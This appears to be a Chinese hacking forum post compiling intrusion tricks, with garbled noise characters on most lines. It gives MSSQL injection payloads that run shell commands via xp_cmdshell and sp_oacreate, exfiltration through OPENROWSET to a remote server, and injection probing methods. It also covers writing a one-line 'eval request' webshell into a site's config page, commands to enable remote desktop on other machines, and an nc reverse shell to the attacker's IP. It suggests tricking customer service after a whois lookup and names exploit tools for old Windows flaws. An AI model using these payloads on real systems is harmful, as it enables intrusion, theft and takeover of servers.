SA点数据库分离技术相关0 |. @/ W7 x* w( }5 B
! h- E3 {' c' q) ^$ A+ s2 j7 }
& O9 E; E7 B! U5 \, }/ o
SA点数据库分离搞法+语句:3 Q9 v6 @) h3 c" u8 {
4 i- {* ^- \" ?8 Y7 n5 y' U注射点不显错,执行下面三条语句页面都返回正常。
5 s1 V# [( w' o4 ^5 I5 M+ xand 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')
" `& J" `5 a5 _6 m; Cand 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')5 A. X6 |5 [1 I, r3 {$ b8 C
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
@. e' M$ L% y7 L可以列目录,判断系统为2000,web与数据库分离
8 f" p7 w( ]8 Y1 J& c遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。
8 s; [& [& O# s; M7 T* L. J3 o在注射点上执行
7 V. R9 J; _) p* ]7 P. F$ `2 ?- ^* ddeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--8 f. h/ F% X$ c
页面返回正常,通过上面这个命令执行telnet我一个外网肉鸡得1433端口,然后netstat/an没有得到IP
4 t' J6 V. K% Q0 B2 k还有我用NC监听得其他端口都没有得到IP。( o- H6 E8 _: r. G
: ?+ G& T! Y3 O* w3 @$ `2 d, E
通过注射点执行下面这两个命令页面都返回异常,在肉鸡上面同样也是没有得到IP。' q& g# h2 L Z5 L8 D$ r- `
'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--3 j3 [, s9 p/ A7 J
. F1 o% @: P; x" S;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--* v, r3 W9 b! N# y2 T. s1 F
9 B4 }7 O, {0 i2 F
现在就猜想是不是数据库是内网而且不能连外网。# a4 a! K7 z5 [ i9 a2 `. q7 O
, E) `, q- ^1 _% p: {! @# L5 p! x# v# N
access导出txt文本代码
! k* Y! [8 _1 ^SELECT * into [test.txt] in 'd:\web\' 'text;' from admin
5 B& X [3 T8 X" H* b# }: n" h9 r' `2 k% ?* Z/ `+ h6 G
8 q% h& m# Z% R) O' _
, Q) d) _5 `! z& f+ P# x) v自动跳转到指定网站代码头
8 r5 S3 v1 v3 V. ` S9 Q<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>
5 Z5 \5 h7 u+ a# T8 x5 V: I
) N6 S5 m9 Z- V. ^# U) c |
: G! u* M' d3 W! G入侵java or jsp站点时默认配置文件路径:
" V. V8 L T' [/ h3 e: d. D\web-inf\web.xml5 K& @- L( o4 Z7 ~2 G
tomcat下的配置文件位置:
( Z5 R7 r5 G" \\conf\server.xml (前面加上tomcat路径)
; O/ x/ k+ ~% p) X\Tomcat 5.0\webapps\root\web-inf\struts-config.xml6 Z i& {& d5 l L" Q- e
0 ^8 e! p* ]" ` W1 h f( p _
: e0 C, k* H$ U9 G/ r: K7 p7 A
+ D, S, b; G( e, @& U$ s) j检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:
/ B3 `* a6 u1 x% e" m2 V-1%23
6 w, q; \& w3 A8 `- \/ `> : K% X2 n% p5 {/ j+ ]9 r
<, U- B; r, W9 Q) G, H
1'+or+'1'='1
' Q+ p& O. u! h. d# g9 y$ |id=8%bf% V5 Z5 I& P, d' N$ O3 c, Y( x
, i8 c) U" M& ]( m3 M
全新注入点检测试法:9 S' Z/ a8 k8 @' S' C* W7 U! \
在URL地址后面加上-1,URL变成:http://gzkb.goomoo.cn/news.asp?id=123-1,如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞,是数字型的。
! c* u/ b1 }6 _7 a/ _ A7 ]! Y8 h% p4 H8 _
在URL的地址后面加上'%2B',URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2B',返回的页面和1同;加上'2%2B'asdf,URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf,返回的页面和1不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。/ l- k$ ?( o1 g: c! n5 V2 l9 Z
) t0 q! m) ^7 M! ^) M; ~5 R
搜索型注入判断方法:( H6 B- `4 c1 {
北京%' and '1'='1' and '%'=' ~+ p8 y" e8 f' p% O, X# `
北京%' and '1'='2' and '%'='
) D# Z9 F7 J) {+ l8 @+ T% C: i5 M% X% t7 |. W
8 h8 x. e' N2 e+ WCOOKIES注入:
/ n+ ^' h: D% {4 D/ _* R3 e( E. l5 {, C6 i8 O6 V
javascript:alert(document.cookie="id="+escape("51 and 1=1"));( E$ p! L$ o, a. _
( j% O+ F* w4 x' I+ D( H2000专业版查看本地登录用户命令:$ B W: z8 T f
net config workstation
% p$ j1 S: d! Q+ X, b6 ]) n6 c" C
0 `9 M5 n9 r- a7 W+ I7 u5 G6 a
- h' K% [# Z+ w9 {" ]2003下查看ipsec配置和默认防火墙配置命令:, N f3 k0 E- f* d n. X
netsh firewall show config, M4 o5 y% S8 V/ v$ X( V* y/ m4 y) h' I
netsh ipsec static show all
5 V1 r2 j c' S: V, ?6 x5 I* B/ k0 w
不指派指定策略命令:
# y B- M/ i3 h/ N" _6 i6 w/ [netsh ipsec static set policy name=test assign=n (test是不指派的策略名)
, U6 @$ W; _6 B/ w% _0 E0 gnetsh ipsec static show policy all 显示策略名
* V+ t1 }0 \" V$ o( n5 C5 Y
( L+ ~" P/ N! ~/ k% ?4 G" H5 m2 ]. M! v, [! I# |
猜管理员后台小技巧:
; x( g" O Q B+ A/ g7 gadmin/left.asp 5 K: _* W" i- |" O8 [
admin/main.asp; C7 ?; U1 h N; F0 Z5 f
admin/top.asp
8 T7 c+ k0 } {$ gadmin/admin.asp
1 u6 u" D. j6 `* }, ~$ W会现出菜单导航,然后迅雷下载全部链接6 g. I$ }7 r; Y2 r
' {5 \5 y1 t& M; e$ a# ]
# p( k9 A" h/ k* o
社会工程学:" t* `5 _2 y5 i( K9 F8 F) |. j
用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人
+ x1 \; M+ V' W. U& n3 @- Y ]然后去骗客服+ V$ j' Y2 ]( @% _4 V! J) J5 r
, G9 I+ z" y! w* v6 t1 T( X* _) v
. z3 d2 S! J% j! l/ o* t3 g
统计系统使用的是IT学习者的统计系统,在网上下载了一套回来研究。这样的系统拿webshell一般就二种:1.数据库插一句话木马,客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录,发现数据库扩展名是asp的,默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb,用明小子的数据库工具打开,发现有防下载的表。管理员的默认密码是:ITlearner。数据库插一句话木马这条路是走不通了,现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码: ; W3 t* _* ~6 \. v, F: U
查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">,
) y& B( o1 t8 d4 _ 存为html文件打开后在最后详细来访信息记录多少条记录,默认为100条框输入100:eval request(chr(35)),点击保存。提示无法找到,结果发现。' l" d" n/ {8 B& u( ^6 M/ y0 k
2 V2 J. S! Y' A1 x
) L L- ?" F+ [) w
$ v# g5 C4 n) F& R6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞, 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)
* C' P) F% v: ]4 ^! O
* P" X0 ^3 }" V* e
* J) G! h+ W# S/ m; O$ D* r# p' K
2 D, V/ o: z8 Y1 p4 JCMD加密注册表位置 m4 C3 a; V& B
(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor
8 D7 X( b5 _$ `AutoRun
1 T9 ^0 L, E6 x# `) F% k
( r2 v$ ]9 q: s! ]* i(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor8 C: m7 O& l$ A* s. F) S& p
AutoRun
. G! p4 H' ]- t+ J- N; T" o- u
$ x+ V' ^0 S, F. f8 Y4 q" J
( P* Q; F6 L) Y在找注入时搜索Hidden,把他改成test
3 U0 d6 P( |/ b- A& E2 t" I
" y9 ~, N* x0 C+ p+ T+ h' K$ y! g5 j& d: f+ `, L
3 n6 O* C/ y( Nmstsc /v:IP /console + M5 w6 T2 U* O3 D! `- O* h: F! C
; l! |2 O0 G7 s" P4 l0 t+ ]
( O( _6 @: o! A* o' R) s
一句话开3389: _& E* p; X2 y) d! S) D, m
- R$ O6 {0 {& d8 T最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>
& D: s" I l; M/ y开远程:WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1 就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.
: m4 h: |- l( ~6 n5 ~6 @, a: u9 {) E) [
0 j3 L ?8 M2 A9 w6 n. q3 e; X
知道表名,字段,使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:
2 L: P1 \& P' x% |. V6 s& c) JInsert into admin(user,pwd) values('test','test')
| `, d1 @. D/ j& e
# ^8 x, I- K, p* `/ |) P: m1 n$ F# f2 p# J
NC反弹
6 D2 r8 ~& u0 m0 U8 t先在本机执行: nc -vv -lp 监听的端口 (自己执行)
' @& C4 `2 n) b* d' y8 u然后在服务器上执行: nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)- B' l6 r) ~" I* N9 a- E$ |
1 X/ c) m9 K9 @
; b+ h5 P4 U' E% Q$ M( h' I在脚本入侵过程中要经常常试用%00来确认下参数是否有问题! @$ q+ R# S% F1 T# }6 W
* w2 J& ~. }% w- i& I4 l5 R" m1 y有时候我们入侵的时候,在webshell没有办法列举网站的目录包括dir也不行的时候,这个时候可以尝试用DOS命令SUBST转移目录( ]; t( J% |; c6 s
例如:- X5 l( c6 V+ j. D5 t N
subst k: d:\www\ 用d盘www目录替代k盘" R& q' T: k5 l9 [# w
subst k: /d 解除K盘代替 |